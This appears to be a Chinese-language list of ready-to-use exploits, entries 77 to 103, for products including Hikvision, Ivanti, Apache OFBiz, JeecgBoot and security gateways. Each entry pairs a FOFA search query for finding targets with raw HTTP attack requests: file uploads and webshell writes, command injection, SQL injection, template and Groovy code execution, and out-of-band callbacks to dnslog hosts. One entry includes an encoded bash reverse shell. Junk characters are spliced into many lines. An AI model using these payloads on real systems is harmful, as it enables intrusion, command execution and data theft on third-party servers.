+ j- H5 v. L) B2 ~4 Z4 L" AGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
# Z" `  `+ `- L! R$ B$ E

( y2 o9 e/ m3 h
& n2 q% F1 h4 @* K6 p77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
/ V) k1 A2 T# M% C. m2 x$ ?POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
9 Q' n* k3 v5 s; h/ N9 mHost: x.x.x.x
' R& z9 \- ?, Z9 E% C  W9 \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
: R8 n# x1 u# BAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
1 H2 h3 X% T/ }4 ^" u) p# sContent-Disposition: form-data; name="folder"

/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
4 \. X! x( o3 W5 hContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
  s% B  B; t" r: ?" L+ ]' e5 s0 pContent-Type: application/octet-stream
! [9 a6 G# `9 J- w- ]
hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"

Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--


78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
: \8 n  o0 V3 u6 z3 D! t) c3 vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
8 g$ t5 y1 g* L7 C! p5 jContent-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

. P5 y" r+ p" R% i  r" f------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
9 E( x7 a4 q6 b8 Q5 ^Content-Type: image/png
0 C* n/ p/ y7 x$ ^6 {  k- i. r
" ~! u$ N" n$ IYsOxWxSvj1KyZow1PTsh98fdu6l
) |5 {. S# M7 _, v  t------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
# e5 m0 U. E% l/ G0 ^1 Z
/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
! T; K+ C6 `7 M
7 |: u2 B% T5 d( u( J# R
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x

3 n* S1 k, W- |$ x  G) V
9 }  j5 @+ ~$ v, \4 V8 x79. BYTEVALUE 百为流控路由器远程命令执行
, ~, V8 o! s3 P5 j  Q6 ]6 tFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
$ C; Y: H, c( S- W4 }! F: R* MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
" q% Y  f) \" r6 Q  ^3 bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 g9 X( }" A; ?9 v4 q* [1 h: LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 o0 e( B# m2 D! u1 OAccept-Encoding: gzip, deflate
6 B) F( t- E8 J6 L  w6 j! iConnection: close
Upgrade-Insecure-Requests: 1

3 [: Y. F5 g+ H, c) _
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
4 O/ C: S. S) M3 O8 P) I% PFOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
8 ]0 U4 m3 S3 vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ i6 W' m  N( @Content-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  A5 E0 I7 m) l" Y0 I: w: c* lAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
! f& \+ m* j8 B/ E% CUpgrade-Insecure-Requests: 1

5 ^1 N% j" M9 s. c<% out.print("oessqeonylzaf");%>


3 B/ F& C4 N6 c2 ^8 R7 K& j' PGET /xykqmfxpoas.jsp HTTP/1.1
4 `+ n% Z- C# D! \: ^5 YHost: x.x.x.x
, n0 k4 p6 ?# ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip


' _" d$ X( J% A8 h1 C4 b; U81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
+ M  H& x# m- L$ a5 Y/ b, X9 S  tGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
: g' K: x  i7 P# K

5 T* B2 a4 S: N$ t+ |$ `82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
7 D5 f* P0 o1 K: s6 fPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
" S+ B9 U2 s3 G" N' P0 _* Q4 ]User-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
; o" q8 @6 [" v* @3 V( a+ t3 XConnection: close
$ K& ], T+ a3 v% ?4 S; j5 t/ z$ DContent-Type: application/x-www-form-urlencoded
- s8 [$ u$ p8 f: E$ KReferer: BaseURL
' E2 _" W" g; n8 R; F
: i. d, a& ]9 [1 K$ h, \& G' Uz1=1&z2="|id;"&z3=bhost

! m0 I# N$ z, `) X4 d
83. JeecgBoot testConnection 远程命令执行
" o1 _. i0 _5 T- jFOFA：title=="JeecgBoot 企业级低代码平台"

; \7 d' v1 |+ [( L! V" M7 l" v# O
POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
' r4 E3 A" f0 i! F. l' XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
; U; l2 P( U# oContent-Length: 8881
Accept-Encoding: gzip
2 g$ `' g. ^7 y" nCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
: k. X8 ^/ P! B2 ~. lContent-Type: application/json
. M9 M8 x  e) u, r6 j0 t- C; p
PAYLOAD
! u0 V& y  N  a( k% P
8 ^" z3 T" W5 U5 t/ c8 o  t7 E5 j84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"

) l" e. }( P! B" `
9 c1 `. N1 Q6 q+ m- Q: O9 g8 k3 Q
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
5 \( M0 i+ u: ]0 A; z% O+ _User-Agent: curl/7.88.1
$ A$ T) w. ]/ v5 bContent-Length: 156
Accept: */*
0 k% i! w1 y1 D5 ?Connection: close
. G8 k* |- ]9 V4 IContent-Type: application/json
Accept-Encoding: gzip
. [% M* G" N) _/ [' z, l; E  @; O
{
& X. ~6 \5 s, Q) N9 S( A* ^2 N "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
1 r% N, h4 x4 r2 j; ~0 j}
# K7 s; d4 j$ c( j8 Q1 p
8 a- E  Z% h6 `: _& ^& S" _0 l
7 Z! ]% y2 P3 P- L. l85. SysAid On-premise< 23.3.36远程代码执行
) J% B1 q( R5 v5 H: SCVE-2023-47246
- j* `# H8 S8 u# v+ NFOFA：body="sysaid-logo-dark-green.png"
0 y4 h/ v$ z' ]. n4 REXP数据包如下，注入哥斯拉马
: V5 s" n2 Y* \* h3 X3 YPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
6 o% p) K& g2 ?6 P& w7 hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
# c+ B" G9 V! f3 K  e  q8 XAccept-Encoding: gzip

PAYLOAD
: q9 G) L2 ?! U1 }9 ~6 O+ L9 }3 T7 J8 I
! T- s) Z5 T7 f  S2 E回显URL：http://x.x.x.x/userfiles/index.jsp
8 f% P2 @. q0 ]% u8 m, w3 Z$ B9 U, E. P
86. 日本tosei自助洗衣机RCE
5 m. g  k  {0 c- tFOFA：body="tosei_login_check.php"
7 x* q8 z* |, lPOST /cgi-bin/network_test.php HTTP/1.1
- j& f5 X# W! j- KHost: x.x.x.x
1 l% y6 P+ |9 B) BUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
& m" T! r; z  A$ y- wConnection: close
. M; `" }! P, ?Content-Length: 44
0 X% z2 n- i! A5 g0 I2 u' w; |/ uAccept: */*
Accept-Encoding: gzip
9 [1 c! s- b5 e$ QAccept-Language: en
! q: n; b5 a5 C. TContent-Type: application/x-www-form-urlencoded

! z+ e2 P1 v# A7 k3 Bhost=%0acat${IFS}/etc/passwd%0a&command=ping

9 h% F" f$ b, `% u
6 C  p6 z: D5 ]2 _  l5 U, m+ O% p87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
( l5 N' D6 E; Y: N7 GContent-Length: 198
9 Y6 I% L2 B$ j2 a: ?; fAccept-Encoding: gzip
% H+ _; Q9 ]% J: GContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

' P0 t) Q/ T7 E. o' j& j--qqobiandqgawlxodfiisporjwravxtvd
  l$ S1 W0 M+ }+ F4 XContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
, z9 e/ c, z7 k( d4 U7 |Content-Type: text/plain

& W8 l! G4 x# ]. S+ v5 |/ s2ZqGNnsjzzU2GBBPyd8AIA7QlDq
0 ]7 d% ~  G5 Q$ l--qqobiandqgawlxodfiisporjwravxtvd--
, V; |* l$ v$ G: L5 X
  i1 Q/ I: [9 j) f" \
) k5 U; Y3 [' r0 S5 T/ E/jfhatuwe.php
$ p: X$ j, J" L0 m- N, g
$ V) ^# R% {/ V  U/ J3 u* Z! X" _88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
( L; o% i  q! t; {2 `& B5 Z% ]/ lFOFA：title="明御安全网关"
* X/ F: g1 R. K% m4 ?% l* m* cGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
5 a' K$ I( M! y$ \. R8 OHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close


# }- X. L" _- [9 u7 P. x( _7 N" \/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
) S& z7 F6 C' {% c: H1 ?1 tFOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
0 P. e+ l! C1 w: Q5 b, oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
  X8 }$ ~. g( }; z6 [1 l" L3 [6 JContent-Length: 41
Content-Type: application/x-www-form-urlencoded
9 A, P4 i0 o% \1 a4 k  w9 OAccept-Encoding: gzip
9 P! e6 A5 d" {* ~8 x( b- @
9 ?$ J- ~  X5 Boption=2&GUID=-1'+union+select+111*222--+

5 c3 Z4 F7 t& _. {( w
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
; v- G' k6 Q3 n8 o! MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
" b( L5 I1 G% b& S5 FContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
' W& A2 }- P" f0 S# \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ ^: ~+ i" u2 dConnection: close
Content-Type: application/x-www-form-urlencoded
1 P: r% d. J8 W. ?0 v. gX-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

* S6 G9 O  b, q6 p
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
5 n$ o9 I% f3 k/ C6 g& ~Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
4 O; Z# V$ X. tAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive



! t2 H* Z1 ]2 h, {92. 海康威视运行管理中心session命令执行
( ~0 \+ w8 `# V. }  nFastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
Host:
( L7 w" ^* ~! j) }, ?" f$ Q- HAccept: application/json, text/plain, */*
, K4 b, ^  Y0 \% G$ F/ RAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
5 K) R6 C! M6 Q+ D! pX-Language-Type: zh_CN
  Z9 w6 L; ^6 ~' r; o9 Y( N3 h4 {Testcmd: echo test
( U' A! \+ F: ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
/ U4 j5 q6 ~1 ~; mContent-Length: 5778
( i9 d/ g% y. \! g9 k
! |3 g. T5 @) DPAYLOAD


0 r# k9 s& r2 N+ i7 k' U) `( `" L! H93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
7 d9 U0 X: E6 N& V! L( ?FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
+ ~" o; Q- t5 p* WPOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

" B2 u: m% g3 Y+ u" k------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
3 S4 ~0 y, n4 E' g) ~
. R9 N" q* ^  A9 I10000000
# h1 B' {9 U. _$ Z- d1 y5 T------WebKitFormBoundarykcbkgdfx
, ?: J; d5 Z( ]0 {, d- rContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
) s/ m! t6 h0 D( T$ C6 k! }! D+ QContent-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
8 H$ j$ d7 K1 r9 x------WebKitFormBoundarykcbkgdfx
/ @' S; d; Y* V2 q' f1 sContent-Disposition: form-data; name="submit_post"

obj_app_upfile
9 x/ s! q! V- A" y------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
0 T/ R( u  Z9 O: ~+ T9 \% E
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
$ y$ |# K3 w4 Z& ^; h

) s1 n! |: L/ w8 X# B% [GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
" f) Y* w* D& U  K/ f5 WUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

, l8 V0 z9 l, W  o; o3 p$ P
, ?: M( ~  F2 V* q0 N/ @2 J94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
' j" M0 ?! X: x6 r1 ?1 l2 R/ X
8 U0 T- ?6 J) n4 q9 W! ~------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

& C) N8 c7 G  Y8 N10000000
- A) |1 V7 d) g------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

6 q6 r8 F" w! \8 j5 v& i/ ?pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

- \4 y+ {/ h5 kobj_app_upfile
& t* r8 P) X  z3 ]  S8 u: ^------WebKitFormBoundarybqvzqvmt
0 m1 {, M- a! `Content-Disposition: form-data; name="__hash__"

( `% Q/ N  G* x. x- Z0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--


: K. C1 O) m4 o: Y/ J9 Q* a( c7 d4 Y
GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
+ w8 K5 V1 r3 S0 r' n  ~User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
( ^. x1 |* Z7 b6 m! ^2 ~

* L2 J! T. {+ z( [5 x4 V
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
: s' b1 b6 e) [- k8 aCVE-2023-49070
FOFA：app="Apache_OFBiz"
$ W# V3 K+ ]) z+ N8 ~POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
' ]6 \9 q. l2 H9 B9 w' r/ ZConnection: close
# t+ ^) O4 |$ U" I- S1 fContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

<?xml version="1.0"?>
: z8 `5 W/ ?( |- D; D& Z3 S* S<methodCall>
) ~5 f" h4 k6 y" ^+ V   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
/ p. W  b% ]( v& M: a7 W* x      <param>
- z. y% A6 S( r# Q      <value>
+ T& J- Q# S7 E* W        <struct>
       <member>
6 `4 R  L2 ]" w/ {9 J& M          <name>test</name>
          <value>
7 t( J  D+ d( }5 `: M      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
        </member>
      </struct>
      </value>
    </param>
    </params>
0 |) |6 J) J* i: N' G</methodCall>


用ysoserial生成payload
* Q( _+ k3 H2 ~' S* B: vjava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
, S. U  R5 q- j
, `  E2 [! H9 L
将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
; X  c( H8 v$ o, |/ EUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip

PAYLOAD

+ }! Q& |$ J# |; q, c7 x96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
! q1 t" T; P3 KPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
8 L- q. o' q6 e0 ]Host: localhost:8443
7 p. T' r7 \. Z6 c& hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
  a# o4 |7 S1 T, {Accept: */*
2 I! T6 u* o, Q& j# TAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);


: W2 \/ }' u+ V5 k* p反弹shell
# j; g& S0 m; J( O在kali上启动一个监听
7 p1 E  q* t, D1 W( x5 `+ nnc -lvp 7777
7 D+ Q7 ^5 U$ S% M* F5 V6 u
7 m' L" A4 c! u* w; x  WPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
, m+ r2 X! m% l8 T' ], |Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
/ f* [$ M7 e' S6 ~4 t) XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
2 Q: b' V1 |6 x$ R+ R& ?& o2 c' ~
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
9 K# M: x& f: X' X+ R% a
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
. r: p9 N% t! B7 y, sFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
9 C# E* h! y8 x- O' jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
! ~% Y+ g+ r4 e) `0 BCookie: rememberMe=PAYLOAD
; @( R" F8 Y* m! _$ a( b+ wX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
4 ?' \! l: Y% M  `" g3 [
+ c5 E" i' T4 [
. \. k/ S  R# V98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
2 T% o: K6 I- H: R) H( f7 ?7 w, s) ?X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


1 h0 V6 x; ~- F- k1 g: |, \% S4 Z99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
* p" \2 i) M, h5 L" |6 h8 SFOFA：app="Ncast-产品" && title=="高清智能录播系统"
5 ~! m; D$ }# h, |POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
6 y" o( L0 R  \( T$ K0 u1 s* ~" cAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
4 i, a. Y+ B4 r' d, M9 ]1 o
: e- f/ t; H. @%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
6 Q7 _. A4 a7 E% ^5 r( y4 f3 b1 k& h
1 ^! r6 L$ B$ K9 c
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
& k" ^2 ]$ p; y% r9 aCVE-2024-0352
FOFA：icon_hash="874152924"
- y2 V8 X# }+ k1 X4 ?, t( O0 DPOST /api/file/formimage HTTP/1.1
  D: [. h" ~% b$ }% r0 JHost: 192.168.40.130
8 p% M# B& o. z, C9 O' ^( O: J! vUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
/ _/ r- X! v4 l; R3 p3 RConnection: close
& T: a: |& Z9 q% ?5 WContent-Length: 201
# V& {0 m7 d1 |  ~. QContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

------WebKitFormBoundarygcflwtei
- }. d" X- }; a3 k! w3 F5 kContent-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
7 S8 K9 D+ n0 w/ N------WebKitFormBoundarygcflwtei--


101. ivanti policy secure-22.6命令注入
CVE-2024-21887
6 h  _9 X2 Q3 r) h+ G" _4 pFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip


1 p+ c1 T5 b4 i* G' K( t102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
3 W/ }( d8 G7 Q: i* I4 A9 J" VCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
# P* m. o1 {; ^! {; E8 ePOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
1 H, q( V! L, @6 H3 v8 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
$ c; b! @' @/ q1 m" E' GAccept-Encoding: gzip

$ A6 |4 q$ I4 H: S/ U' g+ J( k<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
; S1 ^: I' p9 `$ y
- l* F( s- ?+ X% u* g+ E4 ]! X103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
, P; f6 u8 j- \" YFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
